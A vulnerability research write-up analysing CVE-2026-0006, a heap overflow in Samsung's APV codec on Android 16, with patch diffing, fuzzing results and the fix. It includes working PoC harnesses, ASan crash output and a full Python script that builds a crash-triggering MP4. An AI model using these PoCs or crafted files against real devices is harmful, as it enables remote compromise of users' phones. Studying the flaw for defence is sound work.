Vulnerability Research

CVE-2026-0006: Zero-Click RCE in Samsung’s OpenAPV Codec on Android 16

How a missing bounds check in a brand-new video codec leads to heap corruption — and how we proved it with two proof-of-concept exploits.

TL;DR — CVE-2026-0006 is a CVSS 9.8 heap buffer overflow in Samsung’s APV video codec on Android 16. Zero-click, no user interaction required. All credit for discovering this vulnerability goes to the original researchers. This is our patch analysis — we reverse-engineered the fix, built PoCs for OOB reads and writes, and reproduced the crash on Android.

Demo: Exploit in Action

Opening the crafted MP4 on a pre-patch Android 16 emulator — immediate crash in mediaswcodec

What Happened

In March 2026, Google patched CVE-2026-0006 — a critical heap buffer overflow in libopenapv, the open-source implementation of Samsung’s APV (Advanced Professional Video) codec. CVSS score: 9.8 Critical. Google confirmed it was actively exploited in the wild.

APV is Samsung’s royalty-free video codec, published as RFC 9924 in February 2026. It shipped on the Galaxy S26 Ultra and was integrated into Android 16 as a Mainline module — meaning it runs inside the media framework and processes video files automatically.

That last part is what makes this vulnerability so dangerous. Android’s media framework processes video files before the user ever opens them — for thumbnails, previews, and metadata. Send a crafted APV file via MMS, and the decoder runs automatically. No tap required. Zero-click.


Finding the Bug: Patch Diffing

Every Android Security Bulletin links to the AOSP commits that fix each CVE. For CVE-2026-0006, Google applied four commits to platform/external/libopenapv. The most revealing one is commit fb6a5eab — a targeted local fix that tells us exactly what was missing.

Here is what the patch adds to oapvd_decode(), the main decoder entry point:

Added by Patch — None of This Existed Before

oapv_assert_rv(bitb->ssize > 4, OAPV_ERR_MALFORMED_BITSTREAM);

u32 signature = oapv_bsr_read_direct(bitb->addr, 32);
oapv_assert_rv(signature == 0x61507631, OAPV_ERR_MALFORMED_BITSTREAM);

And to oapvd_info(), the AU info parser:

AU Size Validation — Also Added by Patch

oapv_assert_rv(au_size > 4, OAPV_ERR_MALFORMED_BITSTREAM);

Three things jump out:

  1. No buffer size check. Before this patch, the decoder never verified that the input buffer was large enough to even contain a header. A zero-length buffer? The decoder would start reading heap memory.
  2. No signature check. The magic bytes 'aPv1' (0x61507631) were never validated. Feed the decoder a JPEG, a PDF, random garbage — it would try to parse it all as APV.
  3. No AU size validation. The oapvd_info() function didn’t check au_size > 4 before parsing. An attacker-controlled size field could drive the decoder to read arbitrary amounts of memory.

The other three commits tell the rest of the story: c81fcd41 upgrades to v0.1.13.1 (adds parameter validation), cf0a0e7a upgrades to v0.2.0.0 (comprehensive safe bitstream access), and 86a76fd7 reverts the local fix since v0.2.0.0 supersedes it.


The Root Cause: Three Bugs in One

Bug 1: Unbounded Heap Read (CWE-122)

When the media framework hands a buffer to libopenapv, it passes a oapv_bitb_t struct with two fields: addr (pointer to data) and ssize (stated size). The vulnerable decoder trusts ssize completely. If an attacker crafts an APV file where the AU_SIZE header says “10,000 bytes” but the actual allocation is only 333 bytes, the decoder happily reads 9,667 bytes of whatever happens to be next on the heap.

Bug 2: Integer Overflow Bypasses the Bounds Check (CWE-190)

Inside the decode loop, each PBU (Payload Byte Unit) starts with a 4-byte size field. The decoder validates it like this:

Vulnerable Bounds Check

oapv_assert_gv((pbu_size + 4) <= bs->size, ret, OAPV_ERR, ERR);

Looks reasonable. But pbu_size is a 32-bit unsigned integer. What if an attacker sets it to 0xFFFFFFFC?

Integer Overflow

0xFFFFFFFC + 4 = 0x00000000 (overflow!)

The check becomes 0 ≤ bs->size — always true. Bounds check completely bypassed.

It gets worse. After the check, the loop advances by pbu_size + 4:

cur_read_size += pbu_size + 4;   // += 0 (due to overflow)

The read position never advances. The decoder enters an infinite loop, re-parsing the same location and reading deeper into unallocated heap memory with every iteration.

Bug 3: No Signature Validation (CWE-347)

Without checking for the 'aPv1' magic bytes, the decoder will attempt to parse any data as an APV bitstream. This expands the attack surface enormously — an attacker doesn’t even need to craft a convincing APV file header.


Setting Up the Lab

To prove these bugs are real and exploitable, we built the vulnerable library from source and wrote two proof-of-concept harnesses: one for out-of-bounds reads and one for out-of-bounds writes.

Building the Vulnerable Library

git clone https://github.com/AcademySoftwareFoundation/openapv.git
cd openapv
git checkout v0.1.11.1    # Last vulnerable version

mkdir build && cd build
cmake .. -DCMAKE_BUILD_TYPE=Debug -DCMAKE_C_FLAGS="-g -O0"
make -j$(nproc)

For the clearest crash evidence, we also built with AddressSanitizer (ASan). ASan places “red zones” around every heap allocation and immediately aborts if any read or write touches memory outside the allocation boundary:

cmake .. -DCMAKE_BUILD_TYPE=Debug \
  -DCMAKE_C_FLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer"
make -j$(nproc)

The Test Bitstream

We generated a minimal valid APV file: 337 bytes total. It encodes a 64×64 pixel frame in YUV422 color space at 10-bit depth.

APV Bitstream Structure (337 bytes)

AU_SIZE (4B) PBU_SIZE (4B) PBU Header (4B) Frame Info (12B) Frame Header + Tiles (~313B)

64×64 pixels • YUV422 • 10-bit • QP=30

This file is the foundation for all our tests. We corrupt it in different ways to trigger each vulnerability path.


PoC 1: Out-of-Bounds READ

Our first PoC (poc_asan_final.c) demonstrates that the decoder reads past the end of its input buffer. We use fork-based test isolation — each test runs in a child process so that an ASan crash doesn’t kill the remaining tests.

How It Works

The core idea is simple: allocate an exact-size buffer, copy our valid bitstream into it, then tell the decoder the buffer is larger than it actually is. ASan’s red zones surround the allocation, so any read past the end triggers an immediate abort.

Here is the key test (Test 2 from poc_asan_final.c):

OOB Read Attack — 3 Lines

// Allocate an EXACT-SIZE buffer — ASan places red zones around it
unsigned char *exact_buf = (unsigned char *)malloc(au_size);    // 333 bytes
memcpy(exact_buf, au_buf, au_size);

// Set up the decoder
oapv_bitb_t bitb = {0};
bitb.addr = exact_buf;
bitb.ssize = au_size + 256;    // LIE: claim 256 extra bytes

// Decode — the decoder will try to read 589 bytes from a 333-byte buffer
int ret = oapvd_decode(did, &bitb, &ofrms, NULL, &stat);

That’s the entire attack in three steps:

  1. Allocate 333 bytes (exact size of the valid bitstream)
  2. Tell the decoder the buffer is 589 bytes (333 + 256)
  3. The decoder reads past byte 333 into ASan’s red zone — crash

The Crash

ASan Output — heap-buffer-overflow (READ)

==16496==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x51300000018d
READ of size 1 at 0x51300000018d thread T0
    #0 bsr_flush        (oapv_bs.c — bitstream byte reader)
    #1 oapv_bsr_read    (oapv_bs.c — bit-level read)
    #2 oapvd_vlc_tile   (oapv_vlc.c — tile VLC decoder)
    #3 dec_thread_tile   (oapv.c — tile decode thread)
    #4 oapvd_decode      (oapv.c:1996 — main decode loop)

0x51300000018d is located 0 bytes after 333-byte region
  [0x513000000040,0x51300000018d)

ASan tells us the read happened at the exact first byte past the 333-byte allocation. The crash occurs in bsr_flush() — the lowest-level byte-read function in the bitstream reader. The decoder doesn’t check bounds at any level.

The shadow memory map confirms it:

  0x513000000180: 00[05]fa fa fa fa fa fa

00 = valid memory, 05 = last 5 bytes of allocation, fa = heap red zone. The decoder stepped right off the edge.

Poison Data Test

We also ran a test without ASan to prove the decoder processes the out-of-bounds data, not just reads past it. We replaced everything after byte 50 with poison bytes (0xDE) and decoded:

Buffer hex (poison starts at offset 0x32):
  0030: 1e 1e de de de de de de de de de de de de de de
  0040: de de de de de de de de de de de de de de de de

Result: ret=0, stat.read=333

*** VULNERABILITY CONFIRMED: HEAP OOB READ ***
Decoder consumed 283 bytes of poison/attacker-controlled data

The decoder returned success (ret=0) and reported reading all 333 bytes — even though 283 of those bytes were poison. It treated attacker-controlled garbage as valid tile coefficients and processed them through the full decode pipeline.

Integer Overflow Test

We set PBU_SIZE to 0xFFFFFFFC to trigger the integer overflow:

Corrupted PBU_SIZE: 0xFFFFFFFC (4,294,967,292)
(pbu_size + 4) = 0x00000000 (integer overflow to 0)

oapvd_info result: ret=-103, frames=16

The decoder parsed 16 phantom frames from a 333-byte buffer. It read deep into unallocated heap memory, interpreting garbage as APV frame structures. The return code -103 means it hit the maximum frame count limit — without that limit, it would keep going indefinitely.


PoC 2: Out-of-Bounds WRITE

Reading past a buffer is dangerous. Writing past a buffer is catastrophic — that’s how you get code execution. Our second PoC (poc_oob_write.c) proves the same vulnerability enables heap writes, not just reads.

The Write Chain

When the decoder processes a frame, it doesn’t just read the bitstream — it writes decoded pixel data to an output image buffer. Here’s the chain:

Decoder Write Path

oapvd_decode() dec_thread_tile() dec_tile_comp() dec_block() block_to_imgb_10bit()

The final function WRITES decoded 16-bit pixels to the output image buffer

The critical function is block_to_imgb_10bit(). It writes decoded 16-bit pixel values to the output image at positions calculated from the tile layout:

d16 = (s16*)(dst + blk_y * s_dst) + blk_x;

Where blk_y and blk_x come from the tile position in the frame header — which is part of the attacker-controlled bitstream. If the frame header claims the frame is larger than the actual output buffer, the decoder writes decoded pixels past the end of the buffer.

How the PoC Works

The attack: allocate a small output buffer (16×16 pixels) but give the decoder a bitstream that claims the frame is 64×64 pixels. The decoder computes tile write positions for a 64×64 frame and writes to them — overflowing the 16×16 buffer.

OOB Write Attack — Undersized Output Buffer

// Bitstream says 64x64, but we allocate only 16x16
int small_w = 16, small_h = 16;

oapv_frms_t ofrms = {0};
ofrms.num_frms = 1;
ofrms.frm[0].imgb = imgb_create(small_w, small_h, real_cs);

// imgb->a[0] buffer: 512 bytes  (16 x 16 x 2 bytes per pixel)
// Bitstream expects:  8192 bytes (64 x 64 x 2 bytes per pixel)

oapv_bitb_t bitb = {0};
bitb.addr = (void *)au_buf;
bitb.ssize = au_size;

// Decode — decoder writes 64x64 pixels into a 16x16 buffer
int ret = oapvd_decode(did, &bitb, &ofrms, NULL, &stat);

The output buffer is 512 bytes. The decoder tries to write 8,192 bytes of decoded pixel data into it. That’s a 7,680-byte heap overflow write.

Test B: Corrupted Tile Data

We also tested a second write path: keep the correct output buffer size but corrupt the tile data in the bitstream. When the VLC decoder reads garbage coefficients, the inverse transform amplifies them into extreme pixel values that get written to the output buffer at unexpected positions:

// Keep frame info intact, corrupt tile data with 0xFF
int tile_data_start = 60;
memset(corrupt + tile_data_start, 0xFF, au_size - tile_data_start);

When all VLC coefficients decode to maximum values, the inverse transform produces pixel values that overflow their expected range, and the write destinations computed from corrupted tile headers land outside the allocated buffer.

The Crashes

All three OOB Write tests crash under ASan:

ASan Output — heap-buffer-overflow (WRITE) — 3/3 Tests

Test A: [CRASH] signal 6 (SIGABRT — ASan detected OOB WRITE)
  imgb->a[0] buffer size: 512 bytes (for 16x16)
  Bitstream expects: ~8192 bytes (for 64x64)

Test B: [CRASH] signal 6 (SIGABRT — ASan detected OOB WRITE)
  Corrupted 273 bytes of tile data (offset 60+)

Test C: [CRASH] signal 6 (SIGABRT — ASan detected OOB WRITE)
  imgb plane 0: 512 bytes allocated (16x16, stride=32)
  Decoder tried to write 8192 bytes of decoded pixel data

3 out of 3 tests crash with ASan-confirmed out-of-bounds WRITE. The decoder writes decoded pixel data past the end of the output buffer — a textbook heap buffer overflow that, combined with heap shaping, gives an attacker a write-what-where primitive.


PoC 3: End-to-End Exploit via MP4 on Android

The library-level PoCs prove the bugs exist. But the real question is: can you trigger this through the actual Android media framework, from a file on disk? Yes.

We tested on an Android 16 emulator (sdk_gphone64_arm64, security patch 2026-01-05 — before the March 2026 fix) with the APV decoder enabled.

The Attack Vector

The Android APV decode path works like this:

Android Media Framework → APV Decoder

MP4 file MPEG4Extractor C2SoftApvDec oapvd_info() oapvd_decode()

oapvd_info() reads AU_INFO PBU → allocates buffers. oapvd_decode() reads FRAME PBU → writes pixels.

The key insight: oapvd_info() and oapvd_decode() read dimensions from different PBUs. When oapvd_info() encounters an AU_INFO PBU (type 65), it returns immediately with those dimensions and never reads the actual frame header. But oapvd_decode() skips the AU_INFO PBU and reads dimensions from the FRAME PBU’s header.

If the AU_INFO says 16×16 but the frame header says 64×64, the framework allocates 16×16 buffers and the decoder writes 64×64 pixels into them.

Crafting the Exploit MP4

The exploit MP4 (generate_overflow_mp4.py) takes a valid APV-in-MP4 file and:

  1. Patches the apvC box — sets declared dimensions to 16×16 (initial codec configuration)
  2. Patches the apv1 sample entry — width/height to 16×16
  3. Patches tkhd — track dimensions to 16×16
  4. Injects an AU_INFO PBU (type 65) before the real FRAME PBU in the mdat — claims 16×16

The actual frame PBU inside mdat still contains the original 64×64 bitstream.

The full generator script (generate_overflow_mp4.py):

#!/usr/bin/env python3
"""
CVE-2026-0006 Exploit MP4 Generator

Attack: AU_INFO PBU declares 16x16 -> oapvd_info reports 16x16 -> small buffers.
        FRAME PBU header declares 64x64 -> oapvd_decode writes 64x64 -> overflow.

Prerequisites:
  1. valid.apv (64x64 YUV422 10-bit APV bitstream)
  2. apv-mp4/valid_ffmpeg.mp4 baseline:
     ffmpeg -f apv -i valid.apv -c copy -y apv-mp4/valid_ffmpeg.mp4
"""
import os, struct, sys

script_dir = os.path.dirname(os.path.abspath(__file__))
apv_path = os.path.join(script_dir, 'valid.apv')
baseline_mp4 = os.path.join(script_dir, 'apv-mp4', 'valid_ffmpeg.mp4')
output_mp4 = os.path.join(script_dir, 'apv-mp4', 'overflow_auinfo.mp4')

with open(apv_path, 'rb') as f:
    apv = f.read()

original_pbu_data = apv[4:]  # strip AU_SIZE

# Build AU_INFO PBU (type 65) claiming 16x16
au_info_payload = b''
au_info_payload += struct.pack('>H', 1)       # num_frames = 1
au_info_payload += bytes([0x01])               # pbu_type = PRIMARY_FRAME
au_info_payload += struct.pack('>H', 1)        # group_id = 1
au_info_payload += bytes([0x00])               # reserved
au_info_payload += bytes([0x21])               # profile_idc
au_info_payload += bytes([0x7B])               # level_idc
au_info_payload += bytes([0x40])               # band_idc(3)=010 + reserved(5)
au_info_payload += bytes([0x00, 0x00, 0x10])   # frame_width = 16
au_info_payload += bytes([0x00, 0x00, 0x10])   # frame_height = 16
au_info_payload += bytes([0x22])               # chroma_format_idc=2 + bit_depth=2
au_info_payload += bytes([0x00, 0x00, 0x00])   # capture_time + reserved

pbu_header = bytes([65, 0x00, 0x00, 0x00])     # type=65(AU_INFO)
pbu_size = len(pbu_header) + len(au_info_payload)
au_info_pbu = struct.pack('>I', pbu_size) + pbu_header + au_info_payload

# Combine: AU_INFO PBU (16x16) + original FRAME PBU (64x64)
all_pbu_data = au_info_pbu + original_pbu_data
au_payload_with_sig = b'aPv1' + all_pbu_data
new_au_size = len(au_payload_with_sig)
mdat_data = struct.pack('>I', new_au_size) + au_payload_with_sig

with open(baseline_mp4, 'rb') as f:
    mp4 = bytearray(f.read())

# Patch apvC, apv1 VSE, tkhd dimensions to 16x16
apvc_off = mp4.index(b'apvC')
struct.pack_into('>I', mp4, apvc_off + 4 + 12, 16)
struct.pack_into('>I', mp4, apvc_off + 4 + 16, 16)

apv1_off = mp4.index(b'apv1')
vse_w_off = apv1_off + 4 + 6 + 2 + 16
struct.pack_into('>H', mp4, vse_w_off, 16)
struct.pack_into('>H', mp4, vse_w_off + 2, 16)

tkhd_off = mp4.index(b'tkhd')
tkhd_size = struct.unpack('>I', mp4[tkhd_off-4:tkhd_off])[0]
tkhd_end = tkhd_off - 4 + tkhd_size
struct.pack_into('>I', mp4, tkhd_end - 8, 16 << 16)
struct.pack_into('>I', mp4, tkhd_end - 4, 16 << 16)

# Replace mdat with crafted payload
mdat_tag_off = mp4.index(b'mdat')
mdat_box_start = mdat_tag_off - 4
old_mdat_size = struct.unpack('>I', mp4[mdat_box_start:mdat_box_start+4])[0]
new_mdat_box = struct.pack('>I', 8 + len(mdat_data)) + b'mdat' + mdat_data
new_mp4 = bytearray(mp4[:mdat_box_start]) + new_mdat_box \
        + mp4[mdat_box_start + old_mdat_size:]

# Update stsz sample size and stco chunk offset
stsz_off = new_mp4.index(b'stsz')
stsz_sample_size = struct.unpack('>I', new_mp4[stsz_off+8:stsz_off+12])[0]
idx = stsz_off + 8 if stsz_sample_size != 0 else stsz_off + 16
struct.pack_into('>I', new_mp4, idx, len(mdat_data))

stco_off = new_mp4.index(b'stco')
struct.pack_into('>I', new_mp4, stco_off + 12, mdat_box_start + 8)

with open(output_mp4, 'wb') as f:
    f.write(new_mp4)

print(f"Container + AU_INFO: 16x16 | FRAME PBU: 64x64 | Overflow: ~14,848 bytes")

The Crash

Opening the MP4 from /sdcard/ on the pre-patch emulator triggers an immediate crash in the mediaswcodec process:

Tombstone — SIGSEGV in mediaswcodec

F DEBUG : signal 11 (SIGSEGV), code 1 (SEGV_MAPERR)
F DEBUG : pid: 4944, tid: 4954, name: oid.apv.decoder
F DEBUG : Executable: /apex/com.android.media.swcodec/bin/mediaswcodec

backtrace:
  #00 blk_to_imgb_p21x_uv+156     libcodec2_soft_apvdec.so
  #01 dec_thread_tile+1760         libcodec2_soft_apvdec.so
  #02 oapvd_decode+1516            libcodec2_soft_apvdec.so
  #03 C2SoftApvDec::process+1776   libcodec2_soft_apvdec.so

The backtrace tells the full story: C2SoftApvDec::process() calls oapvd_decode(), which processes 64×64 tiles via dec_thread_tile(), and blk_to_imgb_p21x_uv() writes decoded UV pixel blocks past the end of the 16×16 output buffer into unmapped memory → SEGV_MAPERR.

The logcat confirms the dimension mismatch:

CCodecConfig:   c2::u32 raw.size.width = 16    ← buffer allocation
CCodecConfig:   c2::u32 raw.size.height = 16
C2SoftApvDec: decode done, input size: 364, processed size: 337
CCodecBuffers: updating stride = 16, width: 16, height: 16

Buffers were allocated for 16×16 (1,536 bytes across 3 planes). The decoder wrote 64×64 (16,384 bytes) — a 14,848-byte heap buffer overflow.

Heap Corruption of Adjacent Objects

On a second run, the overflow didn’t hit a guard page — instead, it silently corrupted adjacent heap objects. The crash occurred later when the process tried to use those objects:

Tombstone — Corrupted HIDL/IPC Structures

signal 11 (SIGSEGV), code 1 (SEGV_MAPERR)
  #00 IPCThreadState::waitForResponse        ← corrupted binder object
  #03 Component::Listener::onWorkDone_nb     ← reporting decoded frame
  #04 SimpleC2Component::processQueue        ← after oapvd_decode completed

The decoder returned success while silently corrupting ~14KB of adjacent heap memory. When processQueue then tried to send the work result back via HIDL IPC, it dereferenced a corrupted pointer — classic heap corruption leading to a crash in an unrelated code path. This is exactly how a real exploit chains a buffer overflow into code execution.

ASan Verification via MP4

The system crash from the gallery proves the bug is reachable, but the tombstone only shows a SIGSEGV — we want ASan’s precise “WRITE of size N at address X” report. The problem: Android’s libcodec2_soft_apvdec.so has libopenapv statically linked. You can’t get ASan output by preloading the ASan runtime — ASan requires compile-time instrumentation of every memory access. The system binary has none.

So we wrote a standalone harness (poc_mp4_asan.c) that replicates C2SoftApvDec::process() exactly: parse the MP4, extract the sample from mdat, call oapvd_info() to get dimensions, allocate output buffers based on those dimensions, then call oapvd_decode(). We compiled it with ASan against the vulnerable libopenapv source and ran it on the ARM64 emulator:

ASan Output — heap-buffer-overflow (WRITE) via MP4

[+] Loaded MP4: overflow_auinfo.mp4 (1178 bytes)
[+] mdat: 368 bytes
[+] AU_SIZE field: 364
[+] Signature: 0x61507631 (aPv1)
[+] oapvd_info: ret=0, num_frms=1
[+] oapvd_info reports: 16x16 cs=0xa0c
[+] Plane 0: 16x16 (aligned 16x16) buffer=512 bytes
[+] Plane 1: 8x16 (aligned 16x16) buffer=512 bytes
[+] Plane 2: 8x16 (aligned 16x16) buffer=512 bytes

==17610==ERROR: AddressSanitizer: heap-buffer-overflow
  on address 0x006f770f0580
WRITE of size 2 at 0x006f770f0580 thread T0

0x006f770f0580 is located 0 bytes after 512-byte region
[0x006f770f0380,0x006f770f0580)

Shadow bytes around the buggy address:
  0x006f770f0500: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x006f770f0580:[fa]fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa

00 = valid, fa = heap red zone

ASan confirms: the decoder wrote a 2-byte pixel value at the exact first byte past the 512-byte buffer. oapvd_info() returned 16×16 (from the AU_INFO PBU), buffers were allocated for 16×16, then oapvd_decode() decoded 64×64 pixels from the FRAME PBU and overflowed.

The cross-compilation workflow:

# Build libopenapv with ASan for ARM64
NDK=$HOME/Library/Android/sdk/ndk/29.0.13599879
CC=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/bin/aarch64-linux-android31-clang
ASAN_RT=$NDK/toolchains/llvm/prebuilt/darwin-x86_64/lib/clang/20/lib/linux/libclang_rt.asan-aarch64-android.so

cd openapv && mkdir build_arm64_asan && cd build_arm64_asan
cmake .. -DCMAKE_TOOLCHAIN_FILE=$NDK/build/cmake/android.toolchain.cmake \
  -DANDROID_ABI=arm64-v8a -DANDROID_PLATFORM=android-31 \
  -DCMAKE_BUILD_TYPE=Debug \
  -DCMAKE_C_FLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer"
make -j$(nproc)

# Cross-compile the PoC and run on device
$CC -g -O0 -fsanitize=address -fno-omit-frame-pointer \
  -I../inc -I./include poc_mp4_asan.c ./lib/liboapv.a -lm -o poc_mp4_asan

adb push poc_mp4_asan $ASAN_RT /data/local/tmp/
adb push overflow_auinfo.mp4 /data/local/tmp/
adb shell "LD_LIBRARY_PATH=/data/local/tmp ASAN_OPTIONS=detect_leaks=0 \
  /data/local/tmp/poc_mp4_asan /data/local/tmp/overflow_auinfo.mp4"

Standalone Verification on Android

We also cross-compiled a standalone PoC (poc_android_oob_write.c) with the vulnerable libopenapv v0.1.11.3 for ARM64 and ran it directly on the emulator. Using guard regions (memory poisoned with 0xDE):

Guard Region Overflow — 14,848 Bytes

=== TEST B: UNDERSIZED buffer (16x16 for 64x64 frame) ===
[*] Plane 0: decoder will write 8192 bytes into 512-byte buffer
[*] Plane 1: decoder will write 4096 bytes into 512-byte buffer
[*] Plane 2: decoder will write 4096 bytes into 512-byte buffer
[+] oapvd_decode ret=0
[!!!] PLANE 0: 7680 bytes OVERFLOW past 512-byte buffer!
[!!!] PLANE 1: 3584 bytes OVERFLOW past 512-byte buffer!
[!!!] PLANE 2: 3584 bytes OVERFLOW past 512-byte buffer!

[!!!] CVE-2026-0006: HEAP BUFFER OVERFLOW CONFIRMED
[!!!] Total overflow: 14848 bytes across all planes

The decoder returned success (ret=0) while silently corrupting 14,848 bytes of heap memory. No error, no bounds check — just silent heap corruption that an attacker can shape into a write-what-where primitive.


Fuzzing the Decoder: Finding Crashes Automatically

The PoCs above prove specific vulnerability paths with hand-crafted inputs. But how would you discover these bugs in the first place, without reading the patch? Fuzzing — feeding massive amounts of mutated data to the decoder and watching it crash. We built two fuzzers: a dumb blackbox mutator and a smart coverage-guided fuzzer. Both find the bugs within seconds.

Approach 1: Blackbox Fuzzing (Dumb Mutation)

The simplest fuzzer: start with a valid APV file, randomly corrupt bytes, feed each mutant to the decoder in a forked child process. Five mutation strategies: bit flips, boundary values (0xFFFFFFFC for integer overflow), truncation, byte insertion, and region overwrite.

Result: 500/500 iterations crash the decoder. The vulnerability is so pervasive that even random byte flips produce crashes. Most common: (pbu_size + 4) <= bs.size assertion (211 hits) and corrupted PBU type (272 hits).

Approach 2: Whitebox Fuzzing (Coverage-Guided)

Same mutation strategy but with coverage feedback. We compile the library with -fsanitize-coverage=trace-pc-guard, which inserts a callback at every branch. The fuzzer tracks which code edges each input reaches via a MAP_SHARED bitmap (same technique as AFL). When a mutation discovers new code paths, the fuzzer saves it and mutates further.

Result: 500/500 crashes, corpus grew from 1 seed to 17 entries covering 54 code edges. The coverage guidance systematically explored different crash paths rather than hitting the same bug repeatedly.

Approach 3: AFL++ (Industry-Standard Fuzzer)

In practice you’d use AFL++ rather than custom fuzzers. Key advantage: QEMU mode for fuzzing closed-source binaries. On Android, libopenapv ships as a prebuilt .so — AFL++ QEMU mode uses binary translation to collect coverage without recompilation.

# Instrumented mode (with source)
afl-fuzz -i corpus/ -o findings/ -- ./fuzz_afl_harness @@

# QEMU mode (no source needed)
afl-fuzz -Q -i corpus/ -o findings/ -- ./fuzz_afl_harness_noinst @@

Result (60 seconds): 16 unique crashes, corpus 1 → 49 entries, 167 code edges, 24.7% bitmap coverage.

Approach 4: Random Metadata Fuzzer (AFL++ — Any File Input)

The vulnerable decoder has no signature check — it accepts any data. This fuzzer feeds raw bytes directly into oapvd_info() with no structure awareness:

oapv_au_info_t aui = {0};
oapvd_info((void *)buf, size, &aui);  /* raw bytes, no header parsing */

Result (60 seconds): 8 unique crashes, first crash at 0.38 seconds. Proves the decoder crashes on data that bears no resemblance to APV — any file on the system can trigger the vulnerability.

Comparison: All Four Fuzzing Approaches

Metric Blackbox Whitebox AFL++ (decode) AFL++ (random)
Seed type valid APV valid APV valid APV random bytes
Structure aware Header-aware Header-aware Header-aware None
Run time ~30s ~30s 60s 60s
Crashes found 483 (96%) 500 (100%) 16 unique 8 unique
First crash iter 0 iter 0 ~12s ~0.38s
Corpus growth N/A 1 → 29 1 → 49 3 → 3
Edge coverage N/A 162 167 (24.7%) 20 (21.5%)
Source needed Yes Yes No (QEMU) No (QEMU)

For a real-world engagement: use the random fuzzer to quickly confirm the attack surface, then the full decode fuzzer for deeper exploration. Use QEMU mode when you only have the binary.


From Bug to Exploit: The Attack Chain

With OOB reads, OOB writes, and end-to-end MP4 exploitation all proven, here’s the full zero-click RCE chain:

Step 1: Craft the Payload

The attacker builds a malformed MP4 file with mismatched AU_INFO and FRAME PBU dimensions. The apvC configuration box and AU_INFO PBU declare small dimensions (16×16), while the actual frame bitstream encodes large dimensions (e.g., 1920×1080). The MP4 is only ~1.2 KB.

Step 2: Deliver Without Interaction

The attacker sends the file via MMS, email, or any other channel. Android’s media framework automatically processes incoming media for thumbnails and previews. The APV decoder runs before the user ever sees the message.

Step 3: Trigger the Overflow

The mediaswcodec process decodes the MP4:

  • oapvd_info() reads the AU_INFO PBU → reports 16×16 → small buffers allocated
  • oapvd_decode() reads the FRAME PBU header → 64×64 → writes decoded pixels into 16×16 buffers
  • 14,848+ bytes of heap overflow — silent corruption or crash depending on heap layout

Step 4: Achieve Code Execution

By carefully shaping the heap layout before the overflow, the attacker places target objects (vtable pointers, callback structures, buffer descriptors) adjacent to the decoder’s output buffer. The overflow overwrites these objects with attacker-controlled data, redirecting execution to shellcode or a ROP chain.

The exploit runs with media server privileges — access to camera, microphone, and all media data on the device.


How It Was Fixed

The fix came in three waves:

Wave 1 — Immediate Bounds Checks (commit fb6a5eab)

Added ssize > 4 validation and 'aPv1' signature check at the decoder entry point. Malformed data is rejected before any parsing begins.

Wave 2 — Parameter Validation (v0.1.13.1)

Added the oapv_param.c module for systematic input validation of frame dimensions, tile sizes, and other decoded parameters.

Wave 3 — Safe Bitstream Access (v0.2.0.0)

Rewrote the bitstream reader to validate remaining buffer length before every single byte read. Even if future bugs bypass higher-level checks, the low-level reader won’t read past the buffer.

Because libopenapv is an Android Mainline module, the fix was delivered through Google Play system updates — no OEM firmware update required.


Lessons Learned

New codecs are high-value targets. APV went from RFC publication to in-the-wild exploitation in under a month. Novel media codecs process untrusted data, run with elevated privileges, and haven’t been hardened by years of fuzzing. They deserve immediate security scrutiny.

Integer overflow is not exotic. The (pbu_size + 4) overflow looks like a textbook example, but it bypassed a bounds check that appeared correct on casual inspection. The fix: check for overflow explicitly before the arithmetic: if (pbu_size > SIZE_MAX - 4).

Validate at every boundary. The root cause is missing input validation at the decoder entry point. Every buffer size, magic value, and field range must be checked before processing begins. Trust nothing from the bitstream.

Reads become writes. A heap OOB read alone is dangerous (information leaks, ASLR bypass). But when the same decoder also writes decoded output based on attacker-controlled parameters, the read primitive becomes a write primitive — and writes become code execution.


Timeline

Date Event
Feb 2026 APV published as RFC 9924; Galaxy S26 Ultra ships with APV support
Feb–Mar 2026 CVE-2026-0006 exploited in the wild
Mar 2026 Android Security Bulletin patches CVE-2026-0006
Mar 2026 libopenapv v0.2.0.0 released with comprehensive fix

Reproduction

Build the Vulnerable Library

git clone https://github.com/AcademySoftwareFoundation/openapv.git
cd openapv && git checkout v0.1.11.1

# Standard build
mkdir build && cd build
cmake .. -DCMAKE_BUILD_TYPE=Debug -DCMAKE_C_FLAGS="-g -O0"
make -j$(nproc)

# ASan build (for definitive crash evidence)
mkdir ../build_asan && cd ../build_asan
cmake .. -DCMAKE_BUILD_TYPE=Debug \
  -DCMAKE_C_FLAGS="-g -O0 -fsanitize=address -fno-omit-frame-pointer"
make -j$(nproc)

Compile and Run the OOB Read PoC

clang -g -O0 -fsanitize=address -DLINUX=1 \
  -I../inc -I./include -I../app \
  poc_asan_final.c ./lib/liboapv.a \
  -lpthread -lm -o poc_asan

cp valid.apv /tmp/
ASAN_OPTIONS="detect_leaks=0" ./poc_asan

Expected: ASan heap-buffer-overflow crash on Tests 2 and 5 (OOB reads), assertion crash on Tests 3 and 4.

Compile and Run the OOB Write PoC

clang -g -O0 -fsanitize=address -DLINUX=1 \
  -I../inc -I./include -I../app \
  poc_oob_write.c ./lib/liboapv.a \
  -lpthread -lm -o poc_oob_write

ASAN_OPTIONS="detect_leaks=0" ./poc_oob_write

Expected: ASan heap-buffer-overflow WRITE crash on all 3 tests.

Generate and Test the Exploit MP4

# Requires: Android 16 emulator (pre-March 2026 patch)
# The baseline apv-mp4/valid_ffmpeg.mp4 is included in the repo.
# To regenerate: ffmpeg -f apv -i valid.apv -c copy -y apv-mp4/valid_ffmpeg.mp4

# 1. Generate the exploit MP4
python3 generate_overflow_mp4.py

# 2. Push to emulator and trigger via stagefright
adb push apv-mp4/overflow_auinfo.mp4 /sdcard/
adb shell stagefright -o /sdcard/overflow_auinfo.mp4
# Expected: SIGSEGV in blk_to_imgb_p21x_uv → tombstone written

PoC Artifacts

All PoC scripts and exploit tools are available on GitHub: mobilehackinglab/CVE-2026-0006-openapv-poc

File Description
poc_asan_final.c OOB Read PoC — 5 fork-isolated tests, ASan crash evidence
poc_oob_write.c OOB Write PoC — 3 fork-isolated tests, proves heap write overflow
poc_mp4_asan.c MP4 ASan PoC — mimics C2SoftApvDec decode path, ASan-confirmed WRITE overflow
poc_android_oob_write.c Android ARM64 PoC — cross-compiled, guard region overflow detection
